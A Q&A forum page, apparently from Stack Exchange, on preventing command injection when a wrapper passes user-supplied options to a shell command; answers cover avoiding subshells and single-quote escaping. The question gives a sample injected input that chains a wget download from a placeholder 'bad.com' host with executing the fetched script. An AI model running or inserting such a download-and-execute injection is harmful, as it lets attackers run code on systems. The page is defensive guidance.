How to prevent command injection through command options?

16,301

Solution 1

If you have control over the wrapper program, then make sure that it doesn't invoke a subshell. Deep down, an instruction to execute a program consists of the full path (absolute or relative to the current directory) to the executable, and a list of strings to pass as arguments. PATH lookup, whitespace separating arguments, quoting and control operators are all provided by the shell. No shell, no pain.

For example, with a Perl wrapper, use the list form of exec or system. In many languages, call one of the exec or execXXX functions (or unix.exec or whatever it's called) rather than system, or os.spawn with shell=False, or whatever it takes.

If the wrapper is a shell script, use "$@" to pass down the arguments, e.g.

#!/bin/sh
mysim -preset-opt "$@"

If you have no choice and the wrapper program invokes a shell, you'll need to quote the arguments before passing them to the shell. The easy way to quote arguments is to do the following:

  1. In each argument, replace each occurrence of ' (single quote) by the four-character string '\''. (e.g. don't becomes don'\''t)
  2. Add ' at the beginning of each argument and also at the end of each argument. (e.g. from don't, don'\''t becomes 'don'\''t')
  3. Concatenate the results with a space in between.

If you need to do this in a shell wrapper, here's a way.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Unfortunately, bash's ${VAR//PATTERN/REPLACEMENT} construct, which should come handy here, requires quirky quoting, and I don't think you can obtain '\'' as the replacement text.)

Solution 2

You can use Bash's ${VAR//PATTERN/REPLACEMENT} idiom to transform a single quote ' into '\'' by first putting '\'' into a variable (as an intermediate step) and then expanding this variable as the REPLACEMENT element in the mentioned Bash idiom.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
Share:
16,301

Related videos on Youtube

Victor Lyuboslavsky
Author by

Victor Lyuboslavsky

Enthusiast programmer, entrepreneur, author. My Book Telemedicine and Telehealth 2.0 Favorite Resources EDA Playground - run HDL simulations online (supports SystemVerilog, Verilog, VHDL, and other HDLs) SystemVerilog LRM IEEE Std 1800-2012 (includes legacy Verilog) UVM 1.2 Class Reference UVM 1.1d Class Reference

Updated on September 18, 2022

Comments

  • Victor Lyuboslavsky
    Victor Lyuboslavsky almost 2 years

    I have an wrapper application where I need to let the user specify custom options to pass to a simulator. However, I want to make sure the user doesn't inject other commands through the user options. What's the best way to accomplish this?

    For example.

    • User provides: -a -b
    • Application executes: mysim --preset_opt -a -b

    However, I don't want this to happen:

    • User provides: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
    • Application executes: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

    Currently, I'm thinking that I could simply surround every user provided option with single quotes ' and strip out any user-provided single quotes, so that the command in the last example would turn out to be a harmless:

    mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

    Note: The mysim command executes as part of a shell script in a docker/lxc container. I'm running Ubuntu.

    • choroba
      choroba almost 11 years
      Are you using eval to run the application? If not, the injection should not happen: x="&& echo Doomed" ; echo $x
    • Victor Lyuboslavsky
      Victor Lyuboslavsky almost 11 years
      No, I'm not using eval. I'm calling the executable mysim inside a shell script. I am seeing the injection happen if I simply copy the string of options that the user provides and paste it at the end of mysim command.
    • choroba
      choroba almost 11 years
      Does the wrapper application copy and paste the string of options?
    • Victor Lyuboslavsky
      Victor Lyuboslavsky almost 11 years
      Yes, the user options come in as a single string, like -a -b. So I'm looking to ensure that additional commands aren't injected in that string.
    • Ulrich Schwarz
      Ulrich Schwarz almost 11 years
      can you whitelist? only allowing characters [a-zA-Z0-9 _-] looks like a pretty defensive choice.
    • Victor Lyuboslavsky
      Victor Lyuboslavsky almost 11 years
      Allowing only certain characters is one option. Although the list may end up growing since some options may need to use +, =, and other characters I don't know about yet. I'd like not to resort to that if there is a cleaner solution.
    • choroba
      choroba almost 11 years
      @VictorLyuboslavsky: How exactly do you get the user input and create the command from it?
    • Victor Lyuboslavsky
      Victor Lyuboslavsky almost 11 years
      @choroba, I know the command I need to run and some mandatory options for that command. Then I get additional options as a string from a web form. So the final command should be mysim --my_opts + <user_opts>
    • choroba
      choroba almost 11 years
      @VictorLyuboslavsky: in what language and how do you call the actual command?
    • Victor Lyuboslavsky
      Victor Lyuboslavsky almost 11 years
      @choroba, I put the command (along with other commands) into a run.sh file. I create a docker container image that has run.sh and other files I need. Then I call /bin/bash -c docker run <my_image> ./run.sh using Java ProcessBuilder.
    • Admin
      Admin almost 8 years
      Related Stack Overflow question: "Bash - Escaping for proper shell injection prevention".
  • Matheus Garcia
    Matheus Garcia over 2 years
    Downvote but no comment? If downvoting, at least provide a reason. The answer is based upon own practical experience. Unless you have a good reason to, do not downvote, or provide a reason.